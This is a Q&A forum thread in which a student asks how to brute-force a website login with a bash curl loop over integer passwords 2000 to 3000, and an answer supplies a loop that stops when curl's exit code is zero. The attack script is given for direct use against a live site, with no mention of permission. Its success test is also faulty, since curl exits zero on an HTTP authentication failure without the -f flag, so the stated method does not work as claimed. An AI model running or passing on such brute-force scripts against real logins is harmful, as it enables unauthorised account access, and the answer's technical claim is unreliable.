8

As a student of computer science, I am now learning to work with command line. I need to use brute force to login to a website, knowing the username and that the password is an integer in a certain range. This is what I have so far but it doesn't seem to work.

 for i in {2000..3000}; do curl http://admin:$i@mywebsite.com/link; done

How can I proceed?

Anthon
  • 79,293
Kabachok
  • 183

1 Answers1

6

What your routine is lacking is some way to exit once the correct i is found. For that you can look at the exit code given back from curl:

for i in {2000..3000}
do 
  curl http://admin:$i@mywebsite.com/link
  if [ "$?" -eq 0 ]; then
    echo Found "$i"
    break
  fi
done

The exit value of curl is 0 when everything is correct and can be checked directly after the program stops by inspecting the special variable $?. Use man curl and search for EXIT CODE to see all the different things curl can tell you with its exit code.

Anthon
  • 79,293